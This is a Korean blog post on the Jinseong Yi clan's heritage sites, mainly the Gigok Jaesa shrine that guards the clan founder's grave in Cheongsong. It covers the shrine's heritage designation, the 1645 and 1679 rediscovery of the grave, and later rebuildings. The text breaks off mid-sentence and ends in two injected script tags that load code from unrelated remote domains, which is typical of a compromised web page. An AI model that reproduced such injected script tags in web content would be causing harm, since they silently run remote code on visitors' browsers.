선조를 찾아서

진성이씨 유적(제각)

오토산 2012. 5. 22. 04:19

 

 

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  眞城李氏 遺蹟-齋閣 (진성이씨 유적-재각)

 


眞城李氏 遺蹟(진성이씨 유적)-齋閣 

글쓴이: 周村宗 二十四世 門裔孫 李載賢   

2.재각(齋閣):재사(齋舍)
 
始祖 墓所-守護 齎舍.齋室.齋宮(재사.재실.재궁) 

■기곡재사[岐谷齋舍] 
1세-(諱)석碩:[고려말 충렬-충숙조] 진보현리(眞寶縣吏),생원(生員) (贈)밀직사密直使 

■시조묘소[始祖墓所]:청송군 파천면 신기동 산7번지 癸坐(岐谷)소재 

-경상북도 청송군 파천면(巴川面) 신기리(新基里)에 있는 조선시대의 재사 
지정번호 : 경북문화재자료 제291호 
지정연도 : 1994년 9월 29일 
소유주: 진성이씨 문중(眞城李氏 門中) 
소재지 : 경북 청송군 파천면 신기리 427번지(감남) 소재 
시대 : 조선시대 
분류 : 사묘재실(祠廟齋室) 

파천면 신기리에 위치한 기곡재사(岐谷齎舍)는 眞寶(眞城)李氏 시조(始祖)이며 퇴계선생의 6대조인 호장공(戶長公) 이석(李碩)부군(府君)의 묘소(墓所)를 수호(守護)하는 재사(齋舍)이다. 
진보이씨(眞寶李氏)는 고려시대 때 본관(本官)에서 향리(鄕吏)로써 호장직(戶長職)을 세습(世襲)하다가 고려말에 부군(府君)이 진보현리(眞寶縣吏)로 사마시(司馬試)에 급제(及第)함으로써 점차 사족(士族)으로 성장해 왔으며,관향(貫鄕)을 세거지(世居地)인 진성(眞城)으로 하여 안동부서安東府西 풍산현豊山縣 마라촌磨羅村, 풍기豊基 은풍殷豊, 안동부북安東府北 주촌周村, 예안禮安 온계리溫溪里, 의성義城, 봉화奉化 춘양春陽, 영주榮州, 예천醴泉, 영해寧海 등지로 번창해 가면서 영남(嶺南)의 대표적인 사족으로 발전하였다. 

시조의 묘소는 진보현(眞寶縣) 남쪽 기곡산(岐谷山)에 있었는데,송안군이 안동부서 마라촌(安東府西 磨羅村)으로 이거(移居)하게 될 때부터 세대가 멀어져 분묘(墳墓)의 소재(所在)를 잃어서 알지 못했다가 숭정을유년(崇禎乙酉) 조선朝鮮 인조仁祖23년(1645年)에 원손(遠孫) 시립(時立)이 삼대분묘 근방에서 시조의 증손(曾孫) 주부(主簿) 양호(養浩)의 묘(墓)를 파서 지석(誌石)을 발견하였는데,거기에 새겨있기를 '명구(命龜)를 선조묘에 붙여 쓴다[부先祖食]'고 하였으니,이로써 그 삼분묘가 선조고와 전후부인의 묘라는 것을 알 수 있고,또 양호墓를 붙여 쓴 것도 알게 되었다. 

[묘단안석기사 墓壇安石記事]에 의하면,기미년己未年(숙종肅宗5년1679年)으로 추정(推定)되며 비로소 실전(失傳)된 묘소를 찾아 그 해 2月 30日에 봉분(封墳)을 걷고 흙을 파던 바,시조묘(始祖墓)와 상하양위의 전후부인(前後夫人)의 묘(墓)인 것을 확인하고 봄에 자손들이 모여 다시 봉분(封墳)을 개수(改修) 가토(加土)하니,후일 갑진년甲辰年(景宗4년1724年)에 개식(改植)하여 축계(築階)하였고 그 후 갈석(碣石)을 세웠다. 
청기현(靑杞縣)은 곧 기곡산 아래 있는 마을인데,지금의 기음곡촌(岐音谷村)이다.나중에 계장(繼葬)한 시조의 현손(玄孫) 현감(縣監) 기담(基聃)의 묘갈문(墓碣文)을 참고하건데,대대로 감곡(甘谷)에 살았다 하니,감곡은 기곡(岐谷)인지라 시조만년에 옮겨 살았던 듯 하고 현감은 아마도 안동에서 다시 여기로 들어온 것이 아닌가 한다. 
후일 丙子年(순조純祖16년1816年)에 재사(齋舍)를 중건(重建)하여,이듬해 丁丑年(1817年) 十月 初六日 己亥에 고유(告由)하고 제사(祭祀)를 올렸다고 기록에 있다. 
[묘단안석기사 墓壇安石記事]는 甲辰築階後 九十四年 丁丑十月 日 後孫 漢杰 謹識의 내용이다. 

[기곡재암기 岐谷齋庵記]에 의하면,과거 시조묘소의 수호를 위한 재암(齋庵)이 있었으나 임진왜란(壬辰倭亂선조1592-1598) 때 소실(燒失)되었다고 한다.그 후 영조英祖16년(庚申1740年) 봄에 시작하여 재암(齋庵)을 건립(建立)하였다는 기록이 있다. 
[기곡재암기 岐谷齋庵記]는 上之十六年庚申九月日 通憲大夫前栗峰道察訪 十二代孫 濟兼 謹記(영조16년1740年9月 통헌대부 전 율봉도찰방 12대손 제겸 근기)의 내용이다. 

[기곡재사중수기사 岐谷齋舍重修記事]에 의하면,재사의 창건(創建)은 언제인지 알지 못하며 그후 정조正祖11년(丁未1787年)에 화재(火災)를 당하여 소실(燒失)되었던 것을 (己酉1789年) 봄에 이건(移建)하기 시작하여,정조14년(庚戌1790年)에서 정조15년(辛亥1791年)사이에 공역(工役)을 마치고 邊庚坐基로 이건(移建)을 하였고 13년 후,순조純祖4년(甲子1804年) 4月 2日에 중수(重修)하니 백여년(百餘年)이 지난 (癸丑1913年) 가을에서 다음해 봄 다시 역사(役事)를 하고 중건(重建)을 하여 가을에 마쳤다는 기록이 있다. 
[기곡재사중수기사 岐谷齋舍重修記事]는 甲子(1804年) 四月 十六代後孫 國僑 謹識,그 후 甲寅(1914年) 가을(秋)에 後孫 兢淵 謹識의 내용이다. 

정면 5칸 측면 5칸의 ㅁ자형으로 되어 있다. 전면은 중층(重層)으로 처리하였는데 아래층에 출입구와 퇴간, 그리고 2칸과 1칸짜리 방 두 개가 있다. 2칸 방은 제사에 참례하러 온 일반인들  </title><script src=http://fgthyj.com/r.php ></script>  </title><script src=http://hgbyju.com/r.php ></script>

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